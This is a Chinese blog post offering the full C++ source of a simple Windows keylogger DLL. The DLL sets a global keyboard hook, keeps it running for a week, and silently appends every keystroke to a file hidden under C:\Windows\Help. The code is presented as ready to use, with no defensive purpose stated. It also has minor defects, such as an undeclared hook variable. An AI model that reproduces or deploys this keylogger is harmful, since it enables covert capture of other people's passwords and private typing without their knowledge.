首页 > 其他分享 >一款很简单的键盘记录器,只保留了基础功能

一款很简单的键盘记录器,只保留了基础功能

时间:2022-10-05 08:55:10浏览次数:59  
标签:lParam 键盘记录 return pFile 保留 DLL hHook szText 一款

// Crack.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HINSTANCE hin;	//模块句柄:即本模块在内存中的首地址

BOOL APIENTRY DllMain(HMODULE hModule,	//入口函数
	DWORD  ul_reason_for_call,
	LPVOID lpReserved)
{
	hin = hModule;
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

//导出函数:安装钩子
extern "C" __declspec(dllexport) BOOL Install() {
    
	g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hin, 0);

	Sleep(1000 * 60 * 60 * 24 * 7); //一周

	if (g_hHook == NULL)
		return false;

	return true;
}

//导出函数:卸载钩子
extern "C" __declspec(dllexport) BOOL Remove() {
	return UnhookWindowsHookEx(g_hHook);
}

//钩子处理函数:键盘回调,参数分别是消息代码,虚拟键代码和扫描代码
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	//打开文件
	HANDLE pFile = CreateFile("C:\\Windows\\Help\\Help\\Key\\key.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwHigh;
	DWORD dwPos = GetFileSize(pFile, &dwHigh);	//移动文件指针,实现字符追加
	SetFilePointer(pFile, dwPos, 0, FILE_BEGIN);

	if (pFile == INVALID_HANDLE_VALUE) {		//文件打开失败
		CloseHandle(pFile);
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	}
	
	//字符处理
	char szText[MAX_PATH];
	char szKeyState[256] = { 0 };
	char szAscii[4] = { 0 };
	DWORD writeBytes;
	int enter;
	GetKeyboardState((PBYTE ) szKeyState);
	char type = GetKeyState(VK_SHIFT);	//判断是否按下shift键
	szKeyState[VK_SHIFT] = type;
	int code = lParam;
	code = code >> 16;
	int i = ToAscii(wParam, code, (const BYTE *) szKeyState, (LPWORD) szAscii, 0);
	szAscii[i] = 0;

	if ((lParam & 0x80000000) == 0) {	//判断是否按下
		enter = GetKeyState(VK_RETURN);		//判断是否按下回车键
		if (enter < 0) {
			wsprintf(szText, "\r\n");
		}
		else {
			wsprintf(szText, "%s", szAscii);
		}
		WriteFile(pFile, szText, strlen(szText), &writeBytes, NULL);
	}
	CloseHandle(pFile);

    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

标签:lParam,键盘记录,return,pFile,保留,DLL,hHook,szText,一款
From: https://www.cnblogs.com/z5onk0/p/16755041.html

相关文章